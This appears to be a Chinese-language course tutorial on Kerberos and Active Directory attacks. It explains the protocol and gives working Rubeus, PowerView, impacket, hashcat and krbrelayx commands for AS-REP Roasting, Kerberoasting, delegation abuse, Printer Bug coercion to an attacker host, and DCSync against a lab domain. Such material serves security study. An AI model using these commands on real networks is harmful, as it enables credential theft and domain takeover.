概述

Kerberos是一种允许用户在网络上进行身份验证并在通过身份验证后访问服务的协议。Kerberos默认使用端口88,并且自Windows 2000以来一直是域账户的默认身份验证协议。

当用户登录他们的PC时,Kerberos用于对其进行身份验证。每当用户想要访问网络上的服务时,都会使用Kerberos。多亏了Kerberos,用户不需要不断输入密码,服务器也不需要知道每个用户的密码。

kerberos是一种基于票据的无状态身份验证协议。它有效的将用户的凭证与其可消耗资源的请求分离开,确保密码不会在网络上传播。它假设如果某个用户拥有有效 TGT,那么该用户一定已经证明过自己的身份。

基础理解

在非常高的层面上,当用户想与网络上的可用资源交互时,会发生一下情况:

  • 首先会向中央服务器请求“身份卡”
  • 用户必须证明自己的身份,作为交换,可以获取“身份卡”,或称为授权票证
  • 这个票证用户必须在访问服务时出示。因此,如果它是有效的,中央服务器将提供一个临时票证,用于向请求的资源出示
  • 这个临时票证包含用户的所有信息

此过程分为两个阶段:首先通过提交工单识别用户的TGT,然后使用TGS或者ST访问服务

注意:TGS是密钥分发中心的组件,负责签发服务票据

优势

在关于Kerberos攻击和黄金票据攻击危险的讨论中,人们很容易认为它是一种劣质的认证协议。

在Kerberos之前,认证是在SMB /NTLM上进行的,用户的哈希值在认证时存储在内存中。如果目标机器被攻破并且NTLM哈希值被盗,攻击者可以通过Pass-The-Hash攻击访问用户帐户可以访问的anything 。如前所述,Kerberos票证不包含用户的密码,并且会指定票证授予访问的机器。

Pass-The-Hash不同的是,攻击者将仅限于受害者用户认证所使用的资源。此外,这些票据具有有效期,这意味着攻击者只有有限的时间窗口来访问资源并尝试建立持久性。

身份验证

在Kerberos上下文中,当用户想要访问服务时,有三个实体:userservice以及认证服务器KDC

KDC是知道所有用户凭证的实体

票据

kerberos 使用密钥和票据机制,在实际AD中,密钥是不同账户的密码(或者至少是这些密码的哈希值)

从宏观角度来看,用户可以这样访问服务:

  1. 首先,用户将从密钥服务器请求第一个票据,证明他们是所声称的身份。这时,客户端会向KDC发出authenticates。这个票据被称为TGT(票据授予票据),这个是用户的身份卡,包含用户的所有信息,可用于向KDC发送所有的其他请求
  2. 一旦获得到这个TGT,每次用户需要访问服务时,都会将其交给KDC。KDC将验证提交的TGT是否有效以及是否是伪造的,如果正常,则向用户返回一个票据授予服务票据(TGS)或者服务票据(ST)。TGT中用户信息的副本包含在TGS票据中
  3. 现在用户已经获得特定服务的TGS票,他们将此TGS票提交给服务方以使用。服务方将检查该票的有效性,并确定用户是否有权使用请求的服务

image.png

技术细节

我们将详细说明如何理解身份验证过程如何整合所有内容以及它利用的保护机制来抵御多种攻击,这些阶段分为

  • TGT请求:认证服务(AS)
  • TGS请求:票据授予服务(TGS)
  • 服务请求:应用请求(AP)

一次完整的请求过程应该是AS-TGS-AP

认证服务(AS)

请求

首先,用户发起TGT请求。这个请求被称为AS-REQ。但要获取TGT,他们必须能够证明自己的身份,这个请求是发送给KDC(在ac中是域控制器)。KDC持有所有用户密钥

为了证明身份,用户将发送一个authenticator。这是用户使用自己的密钥加密当前时间戳。用户名也以明文发送,以便KDC知道它正在处理谁的请求

收到请求后,KDC将检索用户名,在其目录中查找相关联的密钥,并尝试解密身份验证器。如果成功,意味着用户使用了与数据库中注册的相同密钥,因此他们已通过身份验证

这一步称为pre-authentication,不是强制性的,但所有用户都必须执行bydefault。然而,需要注意的是,管理员可以禁止预身份验证。

响应

因此,KDC接受到客户端TGT。如果KDC成功解密验证器,它会向用户发送一个名为AS-REP的响应。

为了保护后续的通信交换,KDC 会在回复用户之前生成一个临时会话密钥。客户端之后会使用这个会话密钥继续进行通信。KDC 会避免使用用户密钥加密任何信息。前面我们已经说过,Kerberos 是一种无状态协议,所以 KDC 不会在任何地方保存这个会话密钥。

AS-REP 响应中,我们会看到两个元素:

  1. 首先,是用户请求的 TGT。它包含用户的信息,并且由 KDC 的密钥保护,因此用户无法篡改它。同时,它也包含一份生成的会话密钥副本
  2. 第二个元素是会话密钥,不过这一次它是用用户的密钥保护的。

因此,会话密钥在响应中重复出现——一个版本用KDC的密钥保护,另一个版本用用户的密钥保护

票据授予服务(TGS)

票据授予服务(Ticket-Granting Service,TGS)密钥分发中心(KDC) 的一个组成部分,负责签发服务票据。

在 Active Directory 域中,它通常托管在域控制器上。当用户或计算机请求服务票据时,请求会被发送到 KDC 的 TGS 组件。TGS 会验证用户或计算机的身份,并确认其是否有权限访问所请求的资源,然后才会签发一个可用于访问该资源的服务票据。


请求(TGS-REQ)

客户端此时已经收到了服务器对其 TGT 请求的响应。这个响应中包含:

  • KDC 密钥保护的 TGT
  • 客户端用户密钥保护的会话密钥

客户端随后可以解密相关信息,提取出这个临时会话密钥。

用户接下来的步骤是通过 TGS-REQ 消息请求一个 服务票据(Service Ticket,ST),也叫 TGS ticket

为此,客户端会向 KDC 发送三样东西:

  1. 想要访问的服务名称,例如 SERVICE/HOST,也就是 服务主体名称(SPN) 表示法。
  2. 之前收到的 TGT,其中包含用户信息以及一份会话密钥副本。
  3. 一个 认证器(authenticator),这一次它会使用会话密钥进行加密。

响应(TGS-REP)

KDC 收到了这个 TGS 请求,但是 Kerberos 是一种无状态协议。因此,KDC 并不知道之前交换过哪些信息。它仍然必须验证这个 TGS 请求是否有效。

它必须验证 authenticator(认证器) 是否是用正确的会话密钥加密的。那 KDC 怎么知道这个会话密钥是不是正确的呢?

别忘了,在 TGT 里面有一份会话密钥副本。KDC 会解密 TGT,同时检查其真实性,然后从中提取出会话密钥。拿到这个会话密钥后,KDC 就可以用它来验证认证器是否有效。

如果一切都正确,KDC 只需要读取用户请求访问的服务,然后用 TGS-REP 消息回复用户。

前面我们已经看到,在用户和 KDC 之间的通信中已经生成了一个会话密钥。这里也是同样的情况:系统会生成一个新的会话密钥,用于之后用户和目标服务之间的通信。

和之前一样,这个会话密钥会在 KDC 发给用户的响应中出现两处。KDC 发送的内容包括:


一个 服务票据(Service Ticket),也叫 TGS ticket,其中包含三个元素:

  1. 请求访问的服务名称,也就是 SPN
  2. 一份用户信息副本,这些信息和 TGT 中的信息类似。目标服务会读取这些信息,用来判断该用户是否有权限使用该服务;
  3. 一份会话密钥副本。

所有这些信息都会用用户/KDC 会话密钥加密。

在这个加密后的响应中,用户信息以及会话密钥副本还会再用服务密钥加密。后面的图会让这个过程更清楚。

申请请求(AP)

现在,用户可以解密此响应以提取用户/服务会话密钥和TGS票据,但TGS票据受服务密钥保护。用户无法修改此TGS票据,因此他们无法修改自己的权限,就像TGT一样。

用户将仅将此TGS票据传输给服务,就像TGS请求一样,会向其中添加一个验证器。用户将用这个验证器加密什么?没错,就是刚刚提取的用户/服务会话密钥。这个过程与之前的TGS请求非常相似。

响应(AP-REP)

服务最终收到了TGS票据,以及由KDC生成的、用用户/服务会话密钥加密的验证器。此TGS票据使用服务的密钥进行保护,以便它可以解密它。记住,用户/服务会话密钥的副本嵌入在TGS票据中,因此它可以提取该密钥,并使用此会话密钥检查验证器的有效性。

kerberos攻击

既然我们已经了解了kerberos的基本原理,我们将深入探讨该协议提供的特定弱点

票据请求攻击

申请票据有两种方式:

  • TGT请求,或者AS-REQ,KDC会对此响应一个AS-REP
  • TGS请求,或者TGS,KDC会对此做出TGS-REP响应

AS-REQ Roasting

当请求一个 TGT,也就是发送 AS-REQ 时,我们前面看到,默认情况下,用户必须通过一个用自己密钥加密的 authenticator(认证器) 来证明身份。

但是,如果某个用户禁用了 Kerberos 预认证(preauthentication),我们就可以直接请求该用户的认证数据。此时 KDC 会返回一个 AS-REP 消息。

由于这个消息的一部分,也就是那个临时会话密钥,是用用户密码加密的,因此攻击者可以对它进行离线暴力破解,尝试还原出该用户的密码。

简单说:

AS-REP Roasting 就是针对“关闭了 Kerberos 预认证”的用户,请求 AS-REP,然后离线爆破用户密码。


Kerberoasting

类似地,当用户已经拥有一个 TGT 时,就可以为任何已存在的服务请求一个 服务票据(Service Ticket)

KDC 返回的 TGS-REP 中包含一些用服务账户密钥加密的信息。

如果这个服务账户使用的是弱密码,那么攻击者就可以对这部分加密数据进行同样的离线攻击,尝试还原该服务账户的密码。

简单说:

Kerberoasting 就是请求服务票据 ST / TGS ticket,然后离线爆破服务账户密码。

Kerberos委托攻击

Kerberos 委派(Kerberos Delegation) 允许一个服务冒充某个用户,去访问另一个资源。

也就是说:

用户把身份“委托”给某个服务,服务再代表用户去访问后端资源。

认证被委派之后,如果最终资源认为该用户拥有访问权限,那么它就会正常响应这个服务的请求。

Kerberos 中存在不同类型的委派,每种委派都有可能存在弱点,攻击者可能利用这些弱点来冒充某些用户,访问其他服务,甚至进行横向移动。

票据伪造攻击

票据会受到密钥保护,以防止攻击者随意伪造票据。
其中:

  • TGT 是由 KDC 密钥保护的;
  • TGS ticket / 服务票据 是由服务账户密钥保护的。

如果攻击者拿到了这些密钥中的某一个,就可以生成任意票据,从而以任意权限访问服务。

票据请求攻击

AS-REP Roasting

AS-REPRoasting 是最基础的 Kerberos 攻击,目标是“预认证”。在组织中这种情况并不常见,但它是少数不需要任何形式先前认证的 Kerberos 攻击之一。

攻击者唯一需要的信息是想攻击的用户名,而用户名也可以通过其他枚举技术找到。一旦攻击者拥有用户名,就可以向 KDC 发送特殊的 AS_REQ(Authentication Service Request,认证服务请求)数据包,假装自己是该用户。KDC 会返回 AS_REP,其中包含一部分用从用户密码派生出的密钥加密的信息。这个密钥可以离线破解,从而得到用户密码。

攻击原理

TGT(Ticket Granting Ticket,票据授予票据)请求会使用当前时间戳和账户密码进行加密。

域控制器会尝试解密这部分数据,以验证用户是否使用了正确的密码。
如果验证成功,KDC 会通过 AS-REP 响应向用户签发一个 TGT,用于后续在域内继续进行认证请求。

同时,响应中还会提供一个会话密钥。这个会话密钥会和 TGT 一起返回,并且使用用户的密码进行加密保护。


如果某个账户禁用了 Kerberos 预认证,攻击者就可以在没有任何预先认证的情况下,为这个账户获取一个加密后的 TGT。

这些票据容易受到离线密码攻击,攻击者可以使用类似 HashcatJohn the Ripper 的工具尝试爆破密码。

AS-REPRoasting 与 Kerberoasting 类似,只不过攻击的是 AS-REP,而不是 TGS-REP。

可以使用 Impacket、PowerView,或者 PowerShell AD 模块等内置工具枚举这个设置。

该攻击可以通过 Impacket、Rubeus 工具包和其他工具执行,以获取目标账户的票据。正如前面提到的,实际遇到启用该设置的账户相对少见。虽然评估中偶尔仍会遇到,但它通常远少于设置了 Service Principal Name(SPN)的账户;后者经常受到 Kerberoasting 攻击,后续模块会介绍。

不过,这个攻击还有其他利用方式。假设攻击者对某个账户拥有 GenericWrite 或 GenericAll 权限,就可以启用这个属性,获取该账户的 AS_REP 票据进行离线破解以恢复账户密码,然后再把该设置关闭。这也可以称为“定向 AS-REPRoasting 攻击”:启用该设置,然后对账户执行 AS-REPRoast。不过,能否成功仍取决于用户密码是否相对较弱。

枚举

可以使用 PowerView 枚举 UserAccountControl(UAC)属性标志设置为 DONT_REQ_PREAUTH 的用户。

Windows

使用 PowerShell 枚举 DONT_REQ_PREAUTH账户
1
2
Import-Module .\PowerView.ps1
Get-DomainUser -UACFilter DONT_REQ_PREAUTH

也可以使用 Rubeus 工具的 preauthscan 动作来查找不要求预认证的账户。

使用 PowerView 设置 DONT_REQ_PREAUTH

如果我们发现对某个账户拥有GenericAll权限,可以直接启用DONT_REQ_PREAUTH标志并请求攻击

1
2
Import-Module .\PowerView.ps1
Set-DomainObject -Identity <用户名> -XOR @{useraccountcontrol=4194304} -Verbose

Linux

ImpacketGetNPUsers.py 脚本可以用于枚举 UAC 值设置为 DONT_REQ_PREAUTH 的用户。

枚举可 AS-REPRoast 的用户
1
GetNPUsers.py inlanefreight.local/pixis

现在已经有了易受攻击账户列表,可以通过在命令中添加 -request 参数,以 Hashcat 格式请求它们的 Hash。

请求可 AS-REPRoast 的 Hash
1
GetNPUsers.py inlanefreight.local/pixis -request
在没有认证的情况下寻找易受攻击账户

如果我们没有域凭据,但有用户名列表,仍然可以查找不要求预认证的账户。使用 GetNPUsers.py,可以在包含用户名列表的文件中逐个搜索账户,以识别是否至少存在一个易受该攻击影响的账户。

1
2
GetNPUsers.py INLANEFREIGHT/ -dc-ip 10.129.205.35 -usersfile /tmp/users.txt -format hashcat -outputfile /tmp/hashes.txt -no-pass

攻击

获取无预认证用户账户名哈希

有了这些信息后,可以使用 Rubeus 工具以适合离线 Hash 破解的格式取回 AS-REP。这个攻击不需要任何域用户上下文;只要知道一个未设置 Kerberos 预认证的用户账户名即可执行。

1
.\Rubeus.exe asreproast /user:jenna.smith /domain:inlanefreight.local /dc:dc01.inlanefreight.local /nowrap /outfile:hashes.txt

破解

工具会返回与不同 TGT 关联的 Hash 列表。剩下要做的就是使用 Hashcat 尝试恢复这些账户对应的明文密码。Hashcat 的 Hash 模式是 18200,即 Kerberos 5, etype 23, AS-REP。

1
2
hashcat -m 18200 C:\Tools\hashes.txt C:\Tools\rockyou.txt -O
hashcat (v6.2.6) starting

Kerberosasting

Kerberoasting 是一种针对服务账号的攻击方式。攻击者可以对与某个服务关联的 Active Directory 账号执行离线密码破解攻击。它与 AS-REP Roasting 类似,但 Kerberoasting 通常需要攻击者先拥有域内认证能力。

也就是说,执行该攻击一般需要一个有效的域用户账号和密码,即使是最低权限账号也可以;或者需要在一台已加入域的机器上拿到 SYSTEM shell 或低权限域账号 shell。本节后面还会讨论一种例外情况:当某个账号关闭了 Kerberos 预认证时,可以在没有该账号密码的情况下借助它发起相关请求。

当服务被注册时,Active Directory 中会添加一个 Service Principal Name(SPN,服务主体名称)。SPN 是实际 AD 账号的别名,AD 中保存的信息包括机器名、端口,以及 AD 账号的密码哈希。在合理配置中,服务应使用专门的服务账号,并设置强密码。这些账号类似机器账号,有时甚至可以实现自动轮换密码。

实际环境中,经常可以看到 SPN 绑定到普通用户账号上。原因是服务账号配置起来可能比较麻烦,而且并非所有厂商都支持。更糟糕的是,某些服务账号在尝试 30 天后自动轮换密码时可能会导致业务故障。系统管理员和厂商往往优先考虑可用性,因此容易默认使用普通用户账号。只要该账号密码足够强,这种做法并非一定立即导致严重风险。

在渗透测试中,如果发现某个 SPN 绑定到了用户账号,但密码破解没有成功,通常应作为低危发现记录:该配置允许攻击者对该账号进行离线密码破解。其潜在风险是,如果未来该账号密码被设置得较弱,攻击者就可能破解成功。此类低危发现的核心价值在于让客户理解这种配置的后果,以及如何更安全地进行配置。

技术细节

前面已经介绍过 Kerberos 的工作方式,尤其是用户为了访问服务而发起的 Service Ticket(ST,服务票据)请求。

当 KDC 响应 TGS 请求时,它返回的消息整体会使用用户与 KDC 之间共享的会话密钥加密,因此用户可以解密这部分内容。但是,嵌入其中的 TGS 票据或 Service Ticket(ST)会使用服务账号的密钥加密。于是,用户手中就拥有了一段“用服务账号密码加密的数据”。

用户可以为 AD 环境中所有可用服务请求服务票据,并获得这些由各服务账号密钥加密的票据。攻击者随后可以对这些票据进行离线爆破,尝试还原服务账号的明文密码。

不过,大多数服务由机器账号运行,例如 COMPUTERNAME$。机器账号通常使用 120 个字符长度的随机密码,爆破几乎不可行。Kerberoasting 真正关注的是那些由用户账号运行的服务,因为用户账号密码由人设置,更可能具有可预测性。

如果 SPN 账号使用 RC4 加密算法,离线破解会容易得多。有些组织仍然只使用遗留且密码学上不安全的 RC4;而更成熟的组织往往只允许 AES(Advanced Encryption Standard,高级加密标准),这会显著增加破解难度,即使使用强大的密码破解设备也更困难。

枚举

Windows

PowerView

PowerView 可用于枚举设置了 SPN 的用户,并自动请求 Service Ticket(ST),随后输出可破解的哈希。可以使用下列方法枚举设置了 SPN 的账号。

1
2
Import-Module .\PowerView.ps1
Get-DomainUser -SPN

也可以直接使用 PowerView 执行 Kerberoasting。相比手工方法,Invoke-Kerberoast 函数可以更快完成票据请求与哈希导出。

1
2
3
4
5
Import-Module .\PowerView.ps1

Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation

cat .\tgs.csv

或者

1
2
3
Import-Module .\PowerView.ps1

Invoke-Kerberoast

Rubeus

Rubeus 也是执行 Kerberoasting 的常用方式,而且速度很快。

1
Rubeus.exe kerberoast /nowrap

哈希破解
1
hashcat.exe -m 13100 C:\Tools\kerb.txt C:\Tools\rockyou.txt -O
没有账号密码的kerberoasting

前面提到过,有一种情况下即使没有有效域账号和密码,也可能执行 Kerberoasting:已知某个账号关闭了 Kerberos 预认证。攻击者可以利用这个账号发起 AS-REQ 请求,修改请求体中的 req-body,以请求某个可 Kerberoast 用户的 TGS 票据。

执行该攻击需要两个条件:

  1. 一个关闭预认证的账号用户名,即设置了 DONT_REQ_PREAUTH 的账号。
  2. 一个目标 SPN,或一组目标 SPN。

为了模拟没有认证上下文的场景,可以使用 Rubeus createnetonly 创建一个新的 CMD 窗口,然后在这个窗口中执行攻击。

1
Rubeus.exe createnetonly /program:cmd.exe /show

在新打开的 CMD 窗口中,如果直接运行 kerberoast 选项,会因为当前未关联到 AD 域或林而失败。

如果指定一个设置了 DONT_REQ_PREAUTH 的用户,例如 amber.smith,并指定目标 SPN,例如 MSSQLSvc/SQL01:1433,则可以返回票据。

1
Rubeus.exe kerberoast /nopreauth:amber.smith /domain:inlanefreight.local /spn:MSSQLSvc/SQL01:1433 /nowrap

Linux

从 Linux 执行 Kerberoasting 时,可以使用 impacket 套件中的 GetUserSPNs.py。该工具可以搜索所有可 Kerberoast 的账号,提取使用服务账号密码加密的数据,并返回适合 hashcat 继续破解的哈希。
不带参数运行 GetUserSPNs.py 时,输出效果类似前面 PowerShell 部分的 FindSPNAccounts.ps1 脚本。

1
GetUserSPNs.py inlanefreight.local/pixis

确认存在可 Kerberoast 的账号后,可以添加 -request 参数,为每个账号请求 TGS 票据或 Service Ticket(ST),并获得 hashcat 和 John the Ripper 可识别格式的可破解哈希。

1
GetUserSPNs.py inlanefreight.local/pixis -request

kerberos委派攻击

原理

Kerberos 协议允许用户向某个服务完成认证并使用该服务;而 Kerberos 委派允许这个服务以“原始用户”的身份再去访问另一个服务。

非约束委派

非约束委派允许服务(例如 WEBSRV)在访问任何其他服务时冒充用户。这是一种非常宽松、也非常危险的权限,因此普通用户不能随意给账号开启该选项。

如果一个账号要启用非约束委派,需要在该账号的 Delegation 选项卡中选择 Trust this computer for delegation to any service (Kerberos only)。只有管理员或被明确授予相关权限的特权用户才能给其他账号设置这个选项。更准确地说,需要具备 SeEnableDelegationPrivilege 权限。服务账号默认不能给自己添加该选项,这一点在后续攻击场景中很重要。

启用后,账号的User Account Control (UAC)标志中会设置 TRUSTED_FOR_DELEGATION。当用户向启用了该标志的服务账号请求 TGS 访问该服务时,域控制器会把用户 TGT 的副本嵌入到 TGS 票据中。服务账号随后可以从中取出这个 TGT,并使用用户 TGT 的副本继续向域控制器请求其他服务票据。因此,该服务就能以用户身份获取有效的 TGS/ST,并访问用户有权访问的任何服务。

约束委派

由于非约束委派过于宽泛,约束委派提供了一种“更严格”的委派方式。此时,服务只能把用户身份委派到一个明确限定的服务列表。比如 WEBSRV 只能把认证转发到 SQL/DBSRV,不能转发到其他服务。
约束委派同样在服务账号的 Delegation 选项卡中配置,需要选择 Trust this computer for delegation to specified services only。其中 Kerberos onlyUse any authentication protocol 的区别后文会说明。

启用约束委派后,允许委派的服务列表会保存在负责委派的服务账号属性 msDS-AllowedToDelegateTo 中。与非约束委派不同,约束委派不会把用户 TGT 的副本发送给服务账号。如果服务账号(例如 WEBSRV)想代表用户访问资源(例如 SQL/DBSRV),就必须向域控制器发起一种特殊的 TGS 请求。

与普通 TGS 请求相比,这种请求有两个关键差异:additional tickets 字段会包含用户发送给服务的 TGS/ST 副本;cname-in-addl-tkt 标志会被设置,用来告诉域控制器不要使用服务器自身的信息,而要使用 additional tickets 中票据携带的用户信息,也就是服务想要冒充的用户信息。

域控制器会验证该服务是否有权把认证委派到请求的资源,同时检查被附带的 TGS/ST 是否可转发。默认情况下票据是可转发的,但如果用户 UAC 中设置了 Account is sensitive and cannot be delegated,则会禁止该用户被委派。验证通过后,域控制器会返回一个包含被委派用户信息的 TGS/ST,服务就能用它访问最终资源。

基于资源的约束委派(RBCD)

前两类委派都是在“想要冒充用户的服务账号”层面管理委派关系。RBCD 则反过来,把委派管理转移到最终资源一侧。也就是说,不再由服务账号列出自己可以委派到哪些资源,而是由资源账号维护一个信任列表;列表中的任何账号都有权代表用户委派认证来访问该资源。

与前两种委派不同,资源账号有权修改自己的信任列表。因此,任何服务账号都可以修改自己的信任列表,以允许一个或多个账号把认证委派到自己。服务账号在目录中通过更新 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来完成这一点。

下面的 PowerShell 命令示例把 WEBSRV$ 加入 DBSRV 的信任列表:

1
2
3
Import-Module ActiveDirectory

Set-ADComputer DBSRV -PrincipalsAllowedToDelegateToAccount (Get-ADComputer WEBSRV)

属性更新后,委派请求过程与约束委派类似:服务账号向域控制器请求访问某个特定资源的 TGS,用户的 TGS/ST 副本被嵌入请求中。域控制器检查该服务是否确实在目标资源的信任列表里,如果是,就向服务返回一个以该用户身份访问资源的 TGS/ST。

S4U2ProxyS4U2Self

S4U2Proxy

S4U2Proxy 对应前面已经描述过的委派式 TGS 请求:服务账号为了冒充用户访问特定资源,会把用户的 TGS/ST 副本嵌入请求中发给域控制器。域控制器检查该服务是否有权把认证委派到目标资源;如果允许,就向该服务发放一个可用于以用户身份访问目标资源的 TGS/ST。

S4U2Self

如果用户不是通过 Kerberos 认证到服务的,比如使用的是 NTLM,那么服务手里就没有用户提供的 TGS/ST。S4U2Self 用来解决这个问题。

该步骤发生在 S4U2Proxy 之前。S4U2Self 允许一个服务代表任意用户,向自己获取一个可转发的 TGS/ST。也就是说,当用户通过 NTLM 等方式认证到服务时,服务可以先代表该用户请求一个“发给自己”的可转发 TGS/ST,好像用户是通过 Kerberos 认证过来一样;随后服务再用这个新获得的可转发 TGS/ST 发起 S4U2Proxy,请求访问目标资源。

这种能力允许用户、服务之间的认证协议不完全一致,称为 protocol transition(协议转换)。这也是约束委派中 Use Kerberos only 和 Use any authentication protocol 的核心区别:选择 Use Kerberos only 时,服务不能做协议转换,因此不能使用 S4U2Self;选择 Use any authentication protocol 时,服务可以使用 S4U2Self。这个选项比较危险,后文会看到它如何被滥用。

非约束委派攻击

计算机账户

非约束委派是 Windows 2000 中最早提供的委派类型。如果用户向启用了非约束委派的服务器请求服务票据,用户的 TGT 会被嵌入到随后提交给服务器的服务票据中。

服务器可以把这个 TGT 缓存在内存里,之后在域中请求资源时冒充该用户。如果没有启用非约束委派,内存中通常只会保存用户的 TGS/ST;此时即使机器被攻陷,攻击者也只能在该用户上下文中访问这个 TGS/ST 指定的资源。

等待特权用户认证

如果攻击者已经控制了一台启用了非约束委派的服务器,而之后有域管理员登录该服务器,攻击者就可以提取该域管理员的 TGT,并用它进行横向移动,甚至进一步攻陷域控制器。

Rubeus 是该攻击的常用工具。作为本地管理员运行时,Rubeus 可以监控缓存票据。如果在某个 TGS/ST 中发现了 TGT,Rubeus 会把它显示出来。

1
Rubeus.exe monitor /interval:5 /nowrap

几分钟后,用户 Sarah Lafferty 连接到被攻陷服务器。Rubeus 会取出嵌入在她的 TGS/ST 中的 TGT 副本,并以 base64 编码形式显示。随后可以用 PowerView 枚举 Sarah 所属的组,确认她属于 Domain Admins。这意味着我们已经拿到了一个域管理员的 TGT。

1
.\Rubeus.exe asktgs /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /service:cifs/dc01.INLANEFREIGHT.local /ptt

如果上面的命令无法使用,也可以通过 renew 动作用已有票据获取新的 TGT,而不是直接请求 TGS/ST。拿到 TGS/ST 或新的 TGT 后,就可以访问域控制器的文件系统。

1
Rubeus.exe renew /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /ptt

利用Printer Bug

Printer BugMS-RPRN 协议(Print System Remote Protocol)中的一个缺陷。该协议定义了客户端与打印服务器之间关于打印任务处理和打印系统管理的通信。任意域用户可以连接到 spoolss 命名管道,通过 RpcOpenPrinterRpcRemoteFindFirstPrinterChangeNotificationEx 方法,迫使服务器通过 SMB 向客户端指定的任意主机进行认证。

换句话说,Printer Bug 可用于强制某台服务器向攻击者控制的主机发起认证。它可以与非约束委派结合使用,迫使域控制器向我们控制的主机认证。例如,如果攻击者控制了启用非约束委派的 SQL01,就可以强制 DC01向该被攻陷主机认证,进而获得 DC01$TGT。利用这个 TGT,攻击者可以完全访问 DC01,并执行 DCSync 等攻击来攻陷整个域。

如果域控制器没有运行 Spooler 服务,也可以对域内其他计算机使用这种方式,然后结合计算机账号的 TGT 用 Rubeus 构造 Silver Ticket。

该攻击可以用 SpoolSample PoC 实现,它通过 MS-RPRN RPC 接口强制 Windows 主机向其他主机认证。下面示例中,在已攻陷并启用非约束委派的 SQL01 上先运行 Rubeus 监控票据,再用 SpoolSample 触发 DC01 向 SQL01 认证。

1
Rubeus.exe monitor /interval:5 /nowrap

回到运行 Rubeus 的窗口,可以看到已经捕获到 DC01$ 账户的 TGT。随后可以用 renew 选项把它更新并注入内存。

1
Rubeus.exe renew /ticket:doIFZjCCBWKgAwIBBaE<SNIP> /ptt

当 DC01$ 的 TGT 已在内存中后,可以执行 DCSync,获取目标用户的 NTLM Hash。示例中提取了 sarah.lafferty 的秘密信息。

1
mimikatz.exe

得到某个账号的 Hash 后,可以用 Rubeus 或 Mimikatz 基于该账号请求票据。例如使用 Sarah 的 NTLM Hash 请求 TGT,并以 Sarah 身份访问域控制器。

1
2
Rubeus.exe asktgt /rc4:0fcb586d2aec31967c8a310d1ac2bf50 /user:sarah.lafferty /ptt
[+] TGT request successful!

用户账号

Active Directory 中的用户账号也可以被配置为非约束委派,但利用方式与计算机账号有所不同。可以用 PowerView 的 Get-DomainUser 配合特定 LDAP 过滤器,查找 UAC 中设置了TRUSTED_FOR_DELEGATION 标志的用户。

1
2
Import-Module .\PowerView.ps1
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

如果攻击者已经攻陷了该账号(例如 sqldev),还需要能够更新它的 SPN 列表,因此需要对该被攻陷账号拥有 GenericWrite 权限。满足这些条件时,可以利用该非约束委派权限最终变成域管理员。

攻击思路是创建一条指向攻击机的 DNS 记录,让它看起来像 AD 环境中的一台假计算机。注册 DNS 记录后,把 CIFS/our_dns_record 这个 SPN 添加到已攻陷的、具有非约束委派的账号上。之后如果受害者通过 SMB 连接这个“假机器”,就会请求 CIFS/our_registration_dns 的票据,由于该账号是非约束委派,用户 TGT 的副本会被放进 TGS/ST 中并发送到攻击机。攻击者只需从中提取 TGT 并使用。

该攻击使用 Dirkjanm 的 krbrelayx 工具集。首先用 dnstool.py 创建一条假 DNS 记录 roguecomputer.inlanefreight.local,让它指向攻击机 10.10.14.2

1
2
python dnstool.py -u inlanefreight.local\pixis -p p4ssw0rd -r roguecomputer.inlanefreight.local -d 10.10.14.2 --action add dc01.inlanefreight.local
nslookup roguecomputer.inlanefreight.local dc01.inlanefreight.local

然后用 addspn.py 给目标用户 sqldev 添加构造好的 SPN。SPN 必须是 CIFS/dns_entry,这里使用 CIFS/roguecomputer.inlanefreight.local。—target-type samname 表示目标是用户名;如果不指定,krbrelayx 会默认把目标当作主机名。

1
python addspn.py -u inlanefreight.local\pixis -p p4ssw0rd --target-type samname -t sqldev -s CIFS/roguecomputer.inlanefreight.local dc01.inlanefreight.local

任何尝试通过 SMB 认证到 roguecomputer.inlanefreight.local 的账号,其请求的 TGS/ST 中都会带有 TGT 副本。接下来可以用 PrinterBug 强制 DC01$ 向假主机认证。在触发之前,需要在攻击机上运行 krbrelayx.py 捕获并解析 TGS/ST 与其中的 TGT。由于收到的 TGS/ST 是用被攻陷服务账号的密钥加密的,这里需要提供 sqldev 的 NT Hash。

1
python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58

注意:如果运行 krbrelayx.py 报错,通常需要移除或更新 impacket 并从源码重新安装。在 PwnBox 上运行时,HTTP 服务端口可能会报错,但在本场景中不影响捕获 Kerberos 票据。
触发强制认证后,就可以得到目标机器账号或用户的 TGT。随后用该 TGT 导入 Kerberos 缓存或继续请求服务票据,即可进行后续横向移动或 DCSync。

约束委派攻击

如果攻击者攻陷了一个配置了约束委派的账号,就可以把接收到的认证尝试中继到其允许列表中的一个或多个 SPN。实现方式依赖 S4U2Proxy,因为它允许攻击者代表用户获得目标服务的有效 TGS/ST。

攻击者拿到的是针对特定 SPN、加密给特定服务账号的 TGS/ST。由于 TGS/ST 内容由请求服务账号的密钥加密,攻击者通常不能把它拿去给另一个服务账号使用。但如果同一个服务账号暴露多个服务,攻击者可以修改 SPN,访问该账号暴露的另一个服务。

这在机器账号中很常见,因为机器账号通常同时暴露 CIFS、SPOOLER、TERMSRV 等多个服务。例如,约束委派原本只允许把认证委派到某台机器账号暴露的 SQL 服务,但攻击者可以修改 AP-REQ 中的 SPN,访问该机器账号暴露的 CIFS 服务。如果被委派用户是目标机器的本地管理员,攻击者就可以攻陷该机器。
这种攻击的限制是:通常需要等待某个用户认证到被攻陷的服务账号,特权用户不一定会频繁登录。

冒充任意用户

如果攻陷的约束委派账号允许协议转换,那么攻击者可以任意指定用户,代表该用户认证到授权列表中的服务。因为启用协议转换时可以使用 S4U2Self,服务能够代表任意用户向自己获取可转发的服务票据。这样攻击者不需要等待真实用户认证,就能直接获取“某用户身份”的 TGS/ST,并继续执行前面描述的攻击

Windows平台

该攻击可以在 Windows 主机上用 Rubeus 执行。

枚举

首先使用 PowerView 查找具有约束委派权限的用户和计算机。

1
2
Import-Module .\PowerView.ps1
Get-DomainComputer -TrustedToAuth

结果显示 DMZ01$ 设置了 TRUSTED_TO_AUTH_FOR_DELEGATION UAC属性,这表示它启用了带协议转换的约束委派,并且唯一允许委派的服务是 www/WS01.inlanefreight.local

